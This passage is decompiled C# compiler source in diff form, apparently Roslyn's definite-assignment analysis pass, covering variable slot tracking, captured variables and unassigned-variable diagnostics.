default(LocalDataFlowPass.VariableIdentifier)); + + private readonly HashSet? initiallyAssignedVariables; + + private readonly PooledHashSet _usedVariables = PooledHashSet.GetInstance(); + + private PooledHashSet? _readParameters; + + private readonly PooledHashSet _usedLocalFunctions = PooledHashSet.GetInstance(); + + private readonly PooledHashSet _writtenVariables = PooledHashSet.GetInstance(); + + private PooledHashSet? _implicitlyInitializedFieldsOpt; + + private readonly PooledDictionary _unsafeAddressTakenVariables = PooledDictionary.GetInstance(); + + private readonly PooledHashSet _capturedVariables = PooledHashSet.GetInstance(); + + private readonly PooledHashSet _capturedInside = PooledHashSet.GetInstance(); + + private readonly PooledHashSet _capturedOutside = PooledHashSet.GetInstance(); + + private readonly SourceAssemblySymbol? _sourceAssembly; + + private readonly HashSet? _unassignedVariableAddressOfSyntaxes; + + private BitVector _alreadyReported; + + private readonly bool _requireOutParamsAssigned; + + private readonly bool _trackClassFields; + + private readonly bool _trackStaticMembers; + + protected MethodSymbol? topLevelMethod; + + protected bool _convertInsufficientExecutionStackExceptionToCancelledByStackGuardException; + + private readonly bool _shouldCheckConverted; + + private bool TrackImplicitlyInitializedFields + { + get + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Invalid comparison between Unknown and I4 + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Invalid comparison between Unknown and I4 + if (_requireOutParamsAssigned && !_emptyStructTypeCache._dev12CompilerCompatibility) + { + Symbol currentSymbol = CurrentSymbol; + if (currentSymbol is MethodSymbol methodSymbol && (int)methodSymbol.MethodKind == 1) + { + NamedTypeSymbol containingType = currentSymbol.ContainingType; + if ((object)containingType != null) + { + return (int)containingType.TypeKind == 10; + } + } + return false; + } + return false; + } + } + + public sealed override bool AwaitUsingAndForeachAddsPendingBranch => true; + + private void AddImplicitlyInitializedField(FieldSymbol field) + { + if (TrackImplicitlyInitializedFields) + { + ((HashSet)(object)(_implicitlyInitializedFieldsOpt ?? (_implicitlyInitializedFieldsOpt = PooledHashSet.GetInstance()))).Add(field); + } + } + + internal DefiniteAssignmentPass(CSharpCompilation compilation, Symbol member, BoundNode node, bool strictAnalysis, bool trackUnassignments = false, HashSet? unassignedVariableAddressOfSyntaxes = null, bool requireOutParamsAssigned = true, bool trackClassFields = false, bool trackStaticMembers = false) + : base(compilation, member, node, strictAnalysis ? EmptyStructTypeCache.CreatePrecise() : EmptyStructTypeCache.CreateForDev12Compatibility(compilation), trackUnassignments) + { + //IL_00e6: Unknown result type (might be due to invalid IL or missing references) + initiallyAssignedVariables = null; + _sourceAssembly = GetSourceAssembly(compilation, member, node); + _unassignedVariableAddressOfSyntaxes = unassignedVariableAddressOfSyntaxes; + _requireOutParamsAssigned = requireOutParamsAssigned; + _trackClassFields = trackClassFields; + _trackStaticMembers = trackStaticMembers; + topLevelMethod = member as MethodSymbol; + _shouldCheckConverted = GetType() == typeof(DefiniteAssignmentPass); + State = new LocalState(BitVector.Empty); + } + + internal DefiniteAssignmentPass(CSharpCompilation compilation, Symbol member, BoundNode node, EmptyStructTypeCache emptyStructs, bool trackUnassignments = false, HashSet? initiallyAssignedVariables = null) + : base(compilation, member, node, emptyStructs, trackUnassignments) + { + //IL_00cd: Unknown result type (might be due to invalid IL or missing references) + this.initiallyAssignedVariables = initiallyAssignedVariables; + _sourceAssembly = GetSourceAssembly(compilation, member, node); + CurrentSymbol = member; + _unassignedVariableAddressOfSyntaxes = null; + _requireOutParamsAssigned = true; + topLevelMethod = member as MethodSymbol; + _shouldCheckConverted = GetType() == typeof(DefiniteAssignmentPass); + State = new LocalState(BitVector.Empty); + } + + internal DefiniteAssignmentPass(CSharpCompilation compilation, Symbol member, BoundNode node, BoundNode firstInRegion, BoundNode lastInRegion, HashSet initiallyAssignedVariables, HashSet unassignedVariableAddressOfSyntaxes, bool trackUnassignments) + : base(compilation, member, node, EmptyStructTypeCache.CreateNeverEmpty(), firstInRegion, lastInRegion, true, trackUnassignments) + { + //IL_00bc: Unknown result type (might be due to invalid IL or missing references) + this.initiallyAssignedVariables = initiallyAssignedVariables; + _sourceAssembly = null; + CurrentSymbol = member; + _unassignedVariableAddressOfSyntaxes = unassignedVariableAddressOfSyntaxes; + _shouldCheckConverted = GetType() == typeof(DefiniteAssignmentPass); + State = new LocalState(BitVector.Empty); + } + + private static SourceAssemblySymbol? GetSourceAssembly(CSharpCompilation compilation, Symbol member, BoundNode node) + { + if ((object)member == null) + { + return null; + } + if (node.Kind == BoundKind.Attribute) + { + return null; + } + return member.ContainingAssembly as SourceAssemblySymbol; + } + + protected override void Free() + { + variableBySlot.Free(); + _variableSlot.Free(); + _usedVariables.Free(); + _readParameters?.Free(); + _implicitlyInitializedFieldsOpt?.Free(); + _usedLocalFunctions.Free(); + _writtenVariables.Free(); + _capturedVariables.Free(); + _capturedInside.Free(); + _capturedOutside.Free(); + _unsafeAddressTakenVariables.Free(); + base.Free(); + } + + protected override bool TryGetVariable(VariableIdentifier identifier, out int slot) + { + return ((Dictionary.VariableIdentifier, int>)(object)_variableSlot).TryGetValue(identifier, out slot); + } + + protected override int AddVariable(VariableIdentifier identifier) + { + int count = variableBySlot.Count; + ((Dictionary.VariableIdentifier, int>)(object)_variableSlot).Add(identifier, count); + variableBySlot.Add(identifier); + return count; + } + + protected Symbol GetNonMemberSymbol(int slot) + { + LocalDataFlowPass.VariableIdentifier variableIdentifier = variableBySlot[slot]; + while (variableIdentifier.ContainingSlot > 0) + { + variableIdentifier = variableBySlot[variableIdentifier.ContainingSlot]; + } + return variableIdentifier.Symbol; + } + + private int RootSlot(int slot) + { + while (true) + { + int containingSlot = variableBySlot[slot].ContainingSlot; + if (containingSlot == 0) + { + break; + } + slot = containingSlot; + } + return slot; + } + + protected override bool ConvertInsufficientExecutionStackExceptionToCancelledByStackGuardException() + { + return _convertInsufficientExecutionStackExceptionToCancelledByStackGuardException; + } + + protected override ImmutableArray Scan(ref bool badRegion) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0130: Unknown result type (might be due to invalid IL or missing references) + base.Diagnostics.Clear(); + ImmutableArray methodParameters = base.MethodParameters; + ParameterSymbol methodThisParameter = base.MethodThisParameter; + _alreadyReported = BitVector.Empty; + regionPlace = RegionPlace.Before; + EnterParameters(methodParameters); + Symbol symbol = _symbol; + if (symbol is MethodSymbol methodSymbol) + { + if (!symbol.IsStatic && symbol.ContainingSymbol is SourceMemberContainerTypeSymbol sourceMemberContainerTypeSymbol) + { + SynthesizedPrimaryConstructor primaryConstructor = sourceMemberContainerTypeSymbol.PrimaryConstructor; + if ((object)primaryConstructor != null && !(methodSymbol is SynthesizedPrimaryConstructor)) + { + Symbol currentSymbol = CurrentSymbol; + CurrentSymbol = primaryConstructor; + ImmutableArray.Enumerator enumerator = primaryConstructor.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + NoteWrite(current, null, read: true); + } + CurrentSymbol = currentSymbol; + } + } + } + else if ((symbol is FieldSymbol || symbol is PropertySymbol) && !symbol.IsStatic && symbol.ContainingSymbol is SourceMemberContainerTypeSymbol sourceMemberContainerTypeSymbol2) + { + SynthesizedPrimaryConstructor primaryConstructor = sourceMemberContainerTypeSymbol2.PrimaryConstructor; + if ((object)primaryConstructor != null) + { + SynthesizedPrimaryConstructor synthesizedPrimaryConstructor = primaryConstructor; + EnterParameters(synthesizedPrimaryConstructor.Parameters); + } + } + if ((object)methodThisParameter != null) + { + EnterParameter(methodThisParameter); + if ((int)methodThisParameter.Type.SpecialType != 0) + { + int orCreateSlot = GetOrCreateSlot(methodThisParameter); + SetSlotState(orCreateSlot, assigned: true); + } + } + ImmutableArray.PendingBranch> result = base.Scan(ref badRegion); + if (ShouldAnalyzeOutParameters(out var location)) + { + LeaveParameters(methodParameters, null, location); + if ((object)methodThisParameter != null) + { + LeaveParameter(methodThisParameter, null, location); + } + LocalState self = State; + ImmutableArray.PendingBranch>.Enumerator enumerator2 = result.GetEnumerator(); + while (enumerator2.MoveNext()) + { + AbstractFlowPass.PendingBranch current2 = enumerator2.Current; + State = current2.State; + LeaveParameters(methodParameters, current2.Branch.Syntax, null); + if ((object)methodThisParameter != null) + { + LeaveParameter(methodThisParameter, current2.Branch.Syntax, null); + } + Join(ref self, ref State); + } + State = self; + } + return result; + } + + protected override ImmutableArray RemoveReturns() + { + ImmutableArray.PendingBranch> immutableArray = base.RemoveReturns(); + if (CurrentSymbol is MethodSymbol { IsAsync: not false, IsImplicitlyDeclared: false } && !immutableArray.Any((AbstractFlowPass.PendingBranch pending) => HasAwait(pending))) + { + Location location = ((CurrentSymbol is LambdaSymbol lambdaSymbol) ? lambdaSymbol.DiagnosticLocation : CurrentSymbol.GetFirstLocationOrNone()); + base.Diagnostics.Add(ErrorCode.WRN_AsyncLacksAwaits, location); + } + return immutableArray; + } + + private static bool HasAwait(PendingBranch pending) + { + BoundNode branch = pending.Branch; + if (branch == null) + { + return false; + } + return branch.Kind switch + { + BoundKind.AwaitExpression => true, + BoundKind.UsingStatement => ((BoundUsingStatement)branch).AwaitOpt != null, + BoundKind.ForEachStatement => ((BoundForEachStatement)branch).AwaitOpt != null, + BoundKind.UsingLocalDeclarations => ((BoundUsingLocalDeclarations)branch).AwaitOpt != null, + _ => false, + }; + } + + protected virtual void ReportUnassignedOutParameter(ParameterSymbol parameter, SyntaxNode node, Location location) + { + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Expected O, but got Unknown + //IL_00e7: Unknown result type (might be due to invalid IL or missing references) + //IL_00ee: Invalid comparison between Unknown and I4 + if ((!_requireOutParamsAssigned && (object)topLevelMethod == CurrentSymbol) || base.Diagnostics == null || !State.Reachable) + { + return; + } + if (location == (Location)null) + { + location = (Location)new SourceLocation(node); + } + bool flag = false; + if (parameter.IsThis) + { + int num = VariableSlot(parameter); + if (!State.IsAssigned(num)) + { + TypeSymbol type = parameter.Type; + foreach (FieldSymbol structInstanceField in _emptyStructTypeCache.GetStructInstanceFields(type)) + { + if (_emptyStructTypeCache.IsEmptyStructType(structInstanceField.Type) || LocalDataFlowPass.HasInitializer(structInstanceField)) + { + continue; + } + int num2 = VariableSlot(structInstanceField, num); + if (num2 == -1 || !State.IsAssigned(num2)) + { + Symbol associatedSymbol = structInstanceField.AssociatedSymbol; + bool flag2 = (object)associatedSymbol != null && (int)associatedSymbol.Kind == 15; + if (compilation.IsFeatureEnabled(MessageID.IDS_FeatureAutoDefaultStructs)) + { + base.Diagnostics.Add(flag2 ? ErrorCode.WRN_UnassignedThisAutoPropertySupportedVersion : ErrorCode.WRN_UnassignedThisSupportedVersion, location, flag2 ? associatedSymbol : structInstanceField); + } + else + { + base.Diagnostics.Add(flag2 ? ErrorCode.ERR_UnassignedThisAutoPropertyUnsupportedVersion : ErrorCode.ERR_UnassignedThisUnsupportedVersion, location, flag2 ? associatedSymbol : structInstanceField, new CSharpRequiredLanguageVersion(MessageID.IDS_FeatureAutoDefaultStructs.RequiredVersion())); + } + AddImplicitlyInitializedField(structInstanceField); + flag = true; + } + } + if (!flag) + { + if (type.HasInlineArrayAttribute(out var length) && length > 1) + { + FieldSymbol fieldSymbol = type.TryGetPossiblyUnsupportedByLanguageInlineArrayElementField(); + if ((object)fieldSymbol != null) + { + if (!compilation.IsFeatureEnabled(MessageID.IDS_FeatureAutoDefaultStructs)) + { + base.Diagnostics.Add(ErrorCode.ERR_ParamUnassigned, location, parameter.Name); + } + AddImplicitlyInitializedField(fieldSymbol); + } + } + flag = true; + } + } + } + if (!flag) + { + base.Diagnostics.Add(ErrorCode.ERR_ParamUnassigned, location, parameter.Name); + } + } + + public static void Analyze(CSharpCompilation compilation, MethodSymbol member, BoundNode node, DiagnosticBag diagnostics, out ImmutableArray implicitlyInitializedFieldsOpt, bool requireOutParamsAssigned) + { + //IL_0102: Unknown result type (might be due to invalid IL or missing references) + //IL_0108: Invalid comparison between Unknown and I4 + DiagnosticBag val; + (val, implicitlyInitializedFieldsOpt) = analyze(strictAnalysis: true); + if (!val.HasAnyErrors()) + { + diagnostics.AddRangeAndFree(val); + return; + } + DiagnosticBag item = analyze(strictAnalysis: false).Item1; + if (item.AsEnumerable().Any((Diagnostic d) => d.Code == 8078)) + { + diagnostics.AddRangeAndFree(item); + val.Free(); + return; + } + if (val.Count == item.Count) + { + diagnostics.AddRangeAndFree(val); + item.Free(); + return; + } + HashSet hashSet = new HashSet(item.AsEnumerable(), SameDiagnosticComparer.Instance); + item.Free(); + foreach (Diagnostic item3 in val.AsEnumerable()) + { + if ((int)item3.Severity != 3 || hashSet.Contains(item3)) + { + diagnostics.Add(item3); + continue; + } + ErrorCode code = (ErrorCode)item3.Code; + ErrorCode code2 = code switch + { + ErrorCode.ERR_UnassignedThisAutoPropertyUnsupportedVersion => ErrorCode.WRN_UnassignedThisAutoPropertyUnsupportedVersion, + ErrorCode.ERR_UnassignedThisUnsupportedVersion => ErrorCode.WRN_UnassignedThisUnsupportedVersion, + ErrorCode.ERR_ParamUnassigned => ErrorCode.WRN_ParamUnassigned, + ErrorCode.ERR_UseDefViolationProperty => ErrorCode.WRN_UseDefViolationProperty, + ErrorCode.ERR_UseDefViolationField => ErrorCode.WRN_UseDefViolationField, + ErrorCode.ERR_UseDefViolationThisUnsupportedVersion => ErrorCode.WRN_UseDefViolationThisUnsupportedVersion, + ErrorCode.ERR_UseDefViolationPropertyUnsupportedVersion => ErrorCode.WRN_UseDefViolationPropertyUnsupportedVersion, + ErrorCode.ERR_UseDefViolationFieldUnsupportedVersion => ErrorCode.WRN_UseDefViolationFieldUnsupportedVersion, + ErrorCode.ERR_UseDefViolationOut => ErrorCode.WRN_UseDefViolationOut, + ErrorCode.ERR_UseDefViolation => ErrorCode.WRN_UseDefViolation, + _ => code, + }; + DiagnosticWithInfo val2 = (DiagnosticWithInfo)(object)((item3 is DiagnosticWithInfo) ? item3 : null); + object[] array; + if (val2 != null) + { + DiagnosticInfo info = val2.Info; + if (info != null) + { + object[] arguments = info.Arguments; + array = arguments; + goto IL_024f; + } + } + array = item3.Arguments.ToArray(); + goto IL_024f; + IL_024f: + object[] args = array; + diagnostics.Add(code2, item3.Location, args); + } + val.Free(); + (DiagnosticBag, ImmutableArray implicitlyInitializedFieldsOpt) analyze(bool strictAnalysis) + { + DiagnosticBag instance = DiagnosticBag.GetInstance(); + ImmutableArray item2 = default(ImmutableArray); + DefiniteAssignmentPass definiteAssignmentPass = new DefiniteAssignmentPass(compilation, member, node, strictAnalysis, trackUnassignments: false, null, requireOutParamsAssigned) + { + _convertInsufficientExecutionStackExceptionToCancelledByStackGuardException = true + }; + try + { + bool badRegion = false; + definiteAssignmentPass.Analyze(ref badRegion, instance); + PooledHashSet implicitlyInitializedFieldsOpt2 = definiteAssignmentPass._implicitlyInitializedFieldsOpt; + if (implicitlyInitializedFieldsOpt2 != null) + { + ArrayBuilder instance2 = ArrayBuilder.GetInstance(((HashSet)(object)implicitlyInitializedFieldsOpt2).Count); + foreach (FieldSymbol item4 in (HashSet)(object)implicitlyInitializedFieldsOpt2) + { + instance2.Add(item4); + } + instance2.Sort((IComparer)LexicalOrderSymbolComparer.Instance); + item2 = instance2.ToImmutableAndFree(); + } + } + catch (CancelledByStackGuardException ex) when (diagnostics != null) + { + ex.AddAnError(instance); + } + finally + { + definiteAssignmentPass.Free(); + } + return (instance, implicitlyInitializedFieldsOpt: item2); + } + } + + protected void Analyze(ref bool badRegion, DiagnosticBag diagnostics) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + Analyze(ref badRegion); + if (diagnostics == null) + { + return; + } + foreach (Symbol item in (HashSet)(object)_capturedVariables) + { + if (((Dictionary)(object)_unsafeAddressTakenVariables).TryGetValue(item, out Location value) && (!(item is ParameterSymbol key) || !(item.ContainingSymbol is SynthesizedPrimaryConstructor synthesizedPrimaryConstructor) || !synthesizedPrimaryConstructor.GetCapturedParameters().ContainsKey(key))) + { + diagnostics.Add(ErrorCode.ERR_LocalCantBeFixedAndHoisted, value, item.Name); + } + } + diagnostics.AddRange(base.Diagnostics); + } + + private void CheckCaptured(Symbol variable, ParameterSymbol? rangeVariableUnderlyingParameter = null) + { + if (CurrentSymbol is SourceMethodSymbol containingSymbol && Symbol.IsCaptured(rangeVariableUnderlyingParameter ?? variable, containingSymbol)) + { + NoteCaptured(variable); + } + } + + private void NoteCaptured(Symbol variable) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Invalid comparison between Unknown and I4 + if (regionPlace == RegionPlace.Inside) + { + ((HashSet)(object)_capturedInside).Add(variable); + ((HashSet)(object)_capturedVariables).Add(variable); + } + else if ((int)variable.Kind != 16) + { + ((HashSet)(object)_capturedOutside).Add(variable); + ((HashSet)(object)_capturedVariables).Add(variable); + } + } + + protected IEnumerable GetCapturedInside() + { + return ((IEnumerable)_capturedInside).ToArray(); + } + + protected IEnumerable GetCapturedOutside() + { + return ((IEnumerable)_capturedOutside).ToArray(); + } + + protected IEnumerable GetCaptured() + { + return ((IEnumerable)_capturedVariables).ToArray(); + } + + protected IEnumerable GetUnsafeAddressTaken() + { + return ((Dictionary)(object)_unsafeAddressTakenVariables).Keys.ToArray(); + } + + protected IEnumerable GetUsedLocalFunctions() + { + return ((IEnumerable)_usedLocalFunctions).ToArray(); + } + + private void NotePrimaryConstructorParameterReadIfNeeded(Symbol symbol) + { + if (symbol is ParameterSymbol item && symbol.ContainingSymbol is SynthesizedPrimaryConstructor) + { + if (_readParameters == null) + { + _readParameters = PooledHashSet.GetInstance(); + } + ((HashSet)(object)_readParameters).Add(item); + } + } + + protected virtual void NoteRead(Symbol variable, ParameterSymbol rangeVariableUnderlyingParameter = null) + { + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Invalid comparison between Unknown and I4 + if (variable is LocalSymbol item) + { + ((HashSet)(object)_usedVariables).Add(item); + } + NotePrimaryConstructorParameterReadIfNeeded(variable); + if (variable is LocalFunctionSymbol item2) + { + ((HashSet)(object)_usedLocalFunctions).Add(item2); + } + if ((object)variable != null) + { + if ((object)_sourceAssembly != null && (int)variable.Kind == 6) + { + _sourceAssembly.NoteFieldAccess((FieldSymbol)variable.OriginalDefinition, read: true, write: false); + } + CheckCaptured(variable, rangeVariableUnderlyingParameter); + } + } + + private void NoteRead(BoundNode fieldOrEventAccess) + { + BoundNode boundNode = fieldOrEventAccess; + while (boundNode != null) + { + switch (boundNode.Kind) + { + default: + return; + case BoundKind.FieldAccess: + { + BoundFieldAccess boundFieldAccess = (BoundFieldAccess)boundNode; + NoteRead(boundFieldAccess.FieldSymbol); + if (MayRequireTracking(boundFieldAccess.ReceiverOpt, boundFieldAccess.FieldSymbol)) + { + boundNode = boundFieldAccess.ReceiverOpt; + break; + } + return; + } + case BoundKind.EventAccess: + { + BoundEventAccess boundEventAccess = (BoundEventAccess)boundNode; + FieldSymbol associatedField = boundEventAccess.EventSymbol.AssociatedField; + if ((object)associatedField != null) + { + NoteRead(associatedField); + if (MayRequireTracking(boundEventAccess.ReceiverOpt, associatedField)) + { + boundNode = boundEventAccess.ReceiverOpt; + break; + } + return; + } + return; + } + case BoundKind.ThisReference: + NoteRead(base.MethodThisParameter); + return; + case BoundKind.Local: + NoteRead(((BoundLocal)boundNode).LocalSymbol); + return; + case BoundKind.Parameter: + NoteRead(((BoundParameter)boundNode).ParameterSymbol); + return; + case BoundKind.InlineArrayAccess: + boundNode = ((BoundInlineArrayAccess)boundNode).Expression; + break; + } + } + } + + protected virtual void NoteWrite(Symbol variable, BoundExpression value, bool read) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Invalid comparison between Unknown and I4 + if ((object)variable != null) + { + ((HashSet)(object)_writtenVariables).Add(variable); + if ((object)_sourceAssembly != null && (int)variable.Kind == 6) + { + FieldSymbol fieldSymbol = (FieldSymbol)variable.OriginalDefinition; + _sourceAssembly.NoteFieldAccess(fieldSymbol, read && WriteConsideredUse(fieldSymbol.Type, value), write: true); + } + LocalSymbol localSymbol = variable as LocalSymbol; + if ((object)localSymbol != null && read && WriteConsideredUse(localSymbol.Type, value)) + { + ((HashSet)(object)_usedVariables).Add(localSymbol); + } + CheckCaptured(variable); + } + } + + internal static bool WriteConsideredUse(TypeSymbol type, BoundExpression value) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Invalid comparison between Unknown and I4 + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Invalid comparison between Unknown and I4 + if (value == null || value.HasAnyErrors) + { + return true; + } + if ((object)type != null && type.IsReferenceType && (int)type.SpecialType != 20) + { + if (type is ArrayTypeSymbol { IsSZArray: not false } arrayTypeSymbol) + { + TypeSymbol elementType = arrayTypeSymbol.ElementType; + if ((object)elementType != null && (int)elementType.SpecialType == 10) + { + goto IL_0059; + } + } + return value.ConstantValueOpt != ConstantValue.Null; + } + goto IL_0059; + IL_0059: + if ((object)type != null && type.IsPointerOrFunctionPointer()) + { + return true; + } + if (value != null && value.ConstantValueOpt != null && value.Kind != BoundKind.InterpolatedString) + { + return false; + } + switch (value.Kind) + { + case BoundKind.Conversion: + { + BoundConversion boundConversion = (BoundConversion)value; + if (boundConversion.ConversionKind.IsUserDefinedConversion() || boundConversion.ConversionKind == ConversionKind.IntPtr) + { + return true; + } + return WriteConsideredUse(null, boundConversion.Operand); + } + case BoundKind.DefaultLiteral: + case BoundKind.DefaultExpression: + return false; + case BoundKind.ObjectCreationExpression: + { + BoundObjectCreationExpression boundObjectCreationExpression = (BoundObjectCreationExpression)value; + if (boundObjectCreationExpression.Constructor.IsImplicitlyDeclared) + { + return boundObjectCreationExpression.InitializerExpressionOpt != null; + } + return true; + } + case BoundKind.Utf8String: + case BoundKind.TupleLiteral: + case BoundKind.ConvertedTupleLiteral: + return false; + default: + return true; + } + } + + private void NoteWrite(BoundExpression n, BoundExpression value, bool read) + { + while (n != null) + { + switch (n.Kind) + { + case BoundKind.FieldAccess: + { + BoundFieldAccess boundFieldAccess = (BoundFieldAccess)n; + if ((object)_sourceAssembly != null) + { + FieldSymbol originalDefinition2 = boundFieldAccess.FieldSymbol.OriginalDefinition; + _sourceAssembly.NoteFieldAccess(originalDefinition2, value == null || WriteConsideredUse(boundFieldAccess.FieldSymbol.Type, value), write: true); + } + if (MayRequireTracking(boundFieldAccess.ReceiverOpt, boundFieldAccess.FieldSymbol)) + { + n = boundFieldAccess.ReceiverOpt; + if (n.Kind == BoundKind.Local) + { + ((HashSet)(object)_usedVariables).Add(((BoundLocal)n).LocalSymbol); + } + break; + } + return; + } + case BoundKind.EventAccess: + { + BoundEventAccess boundEventAccess = (BoundEventAccess)n; + FieldSymbol associatedField = boundEventAccess.EventSymbol.AssociatedField; + if ((object)associatedField != null) + { + if ((object)_sourceAssembly != null) + { + FieldSymbol originalDefinition = associatedField.OriginalDefinition; + _sourceAssembly.NoteFieldAccess(originalDefinition, value == null || WriteConsideredUse(associatedField.Type, value), write: true); + } + if (MayRequireTracking(boundEventAccess.ReceiverOpt, associatedField)) + { + n = boundEventAccess.ReceiverOpt; + break; + } + return; + } + return; + } + case BoundKind.ThisReference: + NoteWrite(base.MethodThisParameter, value, read); + return; + case BoundKind.Local: + NoteWrite(((BoundLocal)n).LocalSymbol, value, read); + return; + case BoundKind.Parameter: + NoteWrite(((BoundParameter)n).ParameterSymbol, value, read); + return; + case BoundKind.RangeVariable: + NoteWrite(((BoundRangeVariable)n).Value, value, read); + return; + case BoundKind.InlineArrayAccess: + n = ((BoundInlineArrayAccess)n).Expression; + value = null; + break; + default: + return; + } + } + } + + protected override void Normalize(ref LocalState state) + { + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Invalid comparison between Unknown and I4 + int capacity = ((BitVector)(ref state.Assigned)).Capacity; + int count = variableBySlot.Count; + ((BitVector)(ref state.Assigned)).EnsureCapacity(count); + for (int i = capacity; i < count; i++) + { + int containingSlot = variableBySlot[i].ContainingSlot; + bool flag = containingSlot > 0 && ((BitVector)(ref state.Assigned))[containingSlot] && (int)variableBySlot[containingSlot].Symbol.GetTypeOrReturnType().TypeKind == 10; + if (state.NormalizeToBottom && containingSlot == 0) + { + flag = true; + } + ((BitVector)(ref state.Assigned))[i] = flag; + } + } + + protected override bool TryGetReceiverAndMember(BoundExpression expr, out BoundExpression receiver, out Symbol member) + { + receiver = null; + member = null; + switch (expr.Kind) + { + case BoundKind.FieldAccess: + { + BoundFieldAccess boundFieldAccess = (BoundFieldAccess)expr; + FieldSymbol fieldSymbol = (FieldSymbol)(member = boundFieldAccess.FieldSymbol); + if (fieldSymbol.IsFixedSizeBuffer) + { + return false; + } + if (fieldSymbol.IsStatic) + { + return _trackStaticMembers; + } + receiver = boundFieldAccess.ReceiverOpt; + break; + } + case BoundKind.EventAccess: + { + BoundEventAccess boundEventAccess = (BoundEventAccess)expr; + EventSymbol eventSymbol = boundEventAccess.EventSymbol; + member = eventSymbol.AssociatedField; + if (eventSymbol.IsStatic) + { + return _trackStaticMembers; + } + receiver = boundEventAccess.ReceiverOpt; + break; + } + case BoundKind.PropertyAccess: + { + BoundPropertyAccess boundPropertyAccess = (BoundPropertyAccess)expr; + if (Binder.AccessingAutoPropertyFromConstructor(boundPropertyAccess, CurrentSymbol)) + { + PropertySymbol propertySymbol = boundPropertyAccess.PropertySymbol; + member = (propertySymbol as SourcePropertySymbolBase)?.BackingField; + if ((object)member == null) + { + return false; + } + if (propertySymbol.IsStatic) + { + return _trackStaticMembers; + } + receiver = boundPropertyAccess.ReceiverOpt; + } + break; + } + } + if ((object)member != null && receiver != null && receiver.Kind != BoundKind.TypeExpression) + { + return MayRequireTrackingReceiverType(receiver.Type); + } + return false; + } + + private bool MayRequireTrackingReceiverType(TypeSymbol type) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + if ((object)type != null) + { + if (!_trackClassFields) + { + return (int)type.TypeKind == 10; + } + return true; + } + return false; + } + + protected bool MayRequireTracking(BoundExpression receiverOpt, FieldSymbol fieldSymbol) + { + if ((object)fieldSymbol != null && receiverOpt != null && !fieldSymbol.IsStatic && !fieldSymbol.IsFixedSizeBuffer && receiverOpt.Kind != BoundKind.TypeExpression && MayRequireTrackingReceiverType(receiverOpt.Type)) + { + return !receiverOpt.Type.IsPrimitiveRecursiveStruct(); + } + return false; + } + + protected void CheckAssigned(Symbol symbol, SyntaxNode node) + { + if ((object)symbol == null) + { + return; + } + NoteRead(symbol); + if (State.Reachable) + { + int num = VariableSlot(symbol); + if (num >= ((BitVector)(ref State.Assigned)).Capacity) + { + Normalize(ref State); + } + if (num > 0 && !State.IsAssigned(num)) + { + ReportUnassignedIfNotCapturedInLocalFunction(symbol, node, num); + } + } + } + + private void ReportUnassignedIfNotCapturedInLocalFunction(Symbol symbol, SyntaxNode node, int slot, bool skipIfUseBeforeDeclaration = true) + { + if (IsCapturedInLocalFunction(slot)) + { + RecordReadInLocalFunction(slot); + } + else + { + ReportUnassigned(symbol, node, slot, skipIfUseBeforeDeclaration); + } + } + + protected virtual void ReportUnassigned(Symbol symbol, SyntaxNode node, int slot, bool skipIfUseBeforeDeclaration) + { + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Invalid comparison between Unknown and I4 + //IL_00bf: Unknown result type (might be due to invalid IL or missing references) + //IL_00c5: Invalid comparison between Unknown and I4 + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_00dc: Unknown result type (might be due to invalid IL or missing references) + //IL_00e3: Invalid comparison between Unknown and I4 + //IL_00eb: Unknown result type (might be due to invalid IL or missing references) + //IL_00f1: Invalid comparison between Unknown and I4 + DefiniteAssignmentPass definiteAssignmentPass = this; + SyntaxNode node2 = node; + if (slot <= 0 || symbol is LocalSymbol { IsConst: not false }) + { + return; + } + if (slot >= ((BitVector)(ref _alreadyReported)).Capacity) + { + ((BitVector)(ref _alreadyReported)).EnsureCapacity(variableBySlot.Count); + } + if (!skipIfUseBeforeDeclaration || (int)symbol.Kind != 8) + { + goto IL_008c; + } + Location val = symbol.TryGetFirstLocation(); + if (val != null) + { + TextSpan val2 = node2.Span; + int end = ((TextSpan)(ref val2)).End; + val2 = val.SourceSpan; + if (end >= ((TextSpan)(ref val2)).Start) + { + goto IL_008c; + } + } + goto IL_015c; + IL_008c: + if (!((BitVector)(ref _alreadyReported))[slot] && !symbol.GetTypeOrReturnType().Type.IsErrorType()) + { + string name = symbol.Name; + if ((int)symbol.Kind == 6) + { + addDiagnosticForStructField(slot, (FieldSymbol)symbol); + } + else if ((int)symbol.Kind == 13 && (int)((ParameterSymbol)symbol).RefKind == 2) + { + if (((ParameterSymbol)symbol).IsThis) + { + addDiagnosticForStructThis(symbol, slot); + } + else + { + base.Diagnostics.Add(ErrorCode.ERR_UseDefViolationOut, node2.Location, name); + } + } + else + { + base.Diagnostics.Add(ErrorCode.ERR_UseDefViolation, node2.Location, name); + } + } + goto IL_015c; + IL_015c: + ((BitVector)(ref _alreadyReported))[slot] = true; + void addDiagnosticForStructField(int fieldSlot, FieldSymbol fieldSymbol) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Invalid comparison between Unknown and I4 + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Invalid comparison between Unknown and I4 + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Invalid comparison between Unknown and I4 + 